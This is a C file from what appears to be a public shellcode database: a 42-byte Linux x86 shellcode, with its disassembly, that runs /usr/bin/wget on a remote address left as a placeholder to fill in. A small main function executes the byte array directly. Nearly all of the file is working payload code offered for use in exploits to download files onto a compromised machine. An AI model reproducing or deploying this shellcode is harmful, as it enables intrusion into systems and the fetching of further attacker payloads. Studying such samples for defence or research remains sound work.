51 lines
No EOL
1.5 KiB
C
51 lines
No EOL
1.5 KiB
C
/*
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Title: Linux x86 - Remote file Download - 42 bytes
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Author: Jonathan Salwan <submit AT shell-storm.org>
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Web: http://www.shell-storm.org
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Twitter: http://twitter.com/jonathansalwan
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!Database of Shellcodes http://www.shell-storm.org/shellcode/
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08048054 <.text>:
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8048054: 6a 0b push $0xb
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8048056: 58 pop %eax
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8048057: 99 cltd
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8048058: 52 push %edx
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8048059: 68 61 61 61 61 push $0x61616161
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804805e: 89 e1 mov %esp,%ecx
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8048060: 52 push %edx
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8048061: 6a 74 push $0x74
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8048063: 68 2f 77 67 65 push $0x6567772f
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8048068: 68 2f 62 69 6e push $0x6e69622f
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804806d: 68 2f 75 73 72 push $0x7273752f
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8048072: 89 e3 mov %esp,%ebx
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8048074: 52 push %edx
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8048075: 51 push %ecx
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8048076: 53 push %ebx
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8048077: 89 e1 mov %esp,%ecx
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8048079: cd 80 int $0x80
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804807b: 40 inc %eax
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804807c: cd 80 int $0x80
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*/
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#include <stdio.h>
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char sc[] = "\x6a\x0b\x58\x99\x52"
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"\x68\x61\x61\x61\x61" // Change it
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"\x89\xe1\x52\x6a\x74"
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"\x68\x2f\x77\x67\x65"
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"\x68\x2f\x62\x69\x6e"
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"\x68\x2f\x75\x73\x72"
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"\x89\xe3\x52\x51\x53"
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"\x89\xe1\xcd\x80\x40"
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"\xcd\x80";
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int main(void)
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{
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fprintf(stdout,"Length: %d\n",strlen(sc));
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(*(void(*)()) sc)();
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return 0;
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} |